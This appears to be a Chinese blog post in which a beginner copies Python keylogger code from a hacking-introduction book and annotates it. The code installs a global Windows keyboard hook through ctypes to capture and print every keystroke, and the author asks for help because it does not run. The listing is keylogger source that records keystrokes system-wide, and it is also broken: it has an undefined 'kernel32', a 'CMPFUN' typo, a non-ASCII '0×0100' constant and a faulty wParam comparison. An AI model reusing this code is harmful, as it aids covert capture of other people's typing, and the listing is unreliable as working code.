最近从图书馆借到一本书《Python黑客攻防入门》,感觉里面的提供的代码模块对自己深有感触(主要我超菜),所以打算尝试写点小分析,希望大家能谅解本人的语言组织与技术分析。
希望有人来讨论......
python 3.7版本
代码块
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
#调用WIN32中的API
user32= windll.user32 #以windll加载user32.dll文件
kernel=windll.kernel32 #加载kernel32.dll文件
WH_KEYBOARD_LL=13 #安装一个监视低级键盘输入事件的钩子过程
WM_KEYDOWN=0×0100 #按下一个非系统键时将消息发送给具有键盘焦点窗口(不与ALT键连用)
CTRL_CODE =162
#定义挂钩函数
class KeyLogger:
def __init__(self):
#初始化
self.lUser32 =user32
self.hooked =None
#装载钩子
def installHookProc(self,pointer):
self.hooked = self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL, #要监视的事件
pointer, #指向钩子过程的指针
kernel32.GetModuleHandleW(None), #要钩取的线程所属的DLL句柄,此函数返回
0 #要钩取的线程ID,为0则表示全局钩子
)
if not self.hooked:
return False #return false阻止向下执行
return True #返回正常结果,正常执行
#定义脱钩函数
def uninstallHookProc(self):
if self.hooked is None:
return #return返回值为None,控制权交回
self.lUser32.UnhookWindowsHookEx(self.hooked) #Unhook函数拆除之前设置的钩子
self.hooked=None
#获取函数指针
def getFPTR(fn):
CMPFUNC = CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return CMPFUN(fn)
#定义钩子过程
def hookProc(nCode, wParam, lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)
hookedKey = chr(lParam[0])
print(hookedKey)
if(CTRL_CODE == int(lParam[0])):
print("Ctrl pressed,call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
#8.传递消息:GetMessageA()函数函数监视队列,消息进入队列后取出消息,并传递给勾连中的
#第一个钩子
def startKeyLog():
msg = MSG()
user32.GetMessageA(byref(msg), 0, 0, 0)
#9.启动消息钩取,首先创造KeyLogger 类,然后installHookProc()函数设置钩子,同时
#注册钩子过程回调函数。最后调用startKeyLog()函数,将进入队列的消息传递给勾连
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")
startKeyLog()
概念理解:
钩子(hook):操作系统为有消息到来或发生鼠标点击、键盘输入等事件时,操作系统提供了中间拦截机制。钩子分为本地钩子和全局钩子。本地钩子针对特定线程设置,全局钩子针对操作系统中运行的所有线程设置。
方法简要:
使用user32.dll提供的SetWindowsHookExA()函数可以设置钩子。
使用python中默认提供的ctypes模块,可以在python程序中调用DLL,使用C语言的变量类型。
MSDN提供对WIN API的使用方法。
总结:
我靠,这程序运行出来命令行一直是黑屏,没反应。是因为360吗,反正我搞了两天这程序没成功,希望有大佬可以伸出援助之手,帮帮小弟...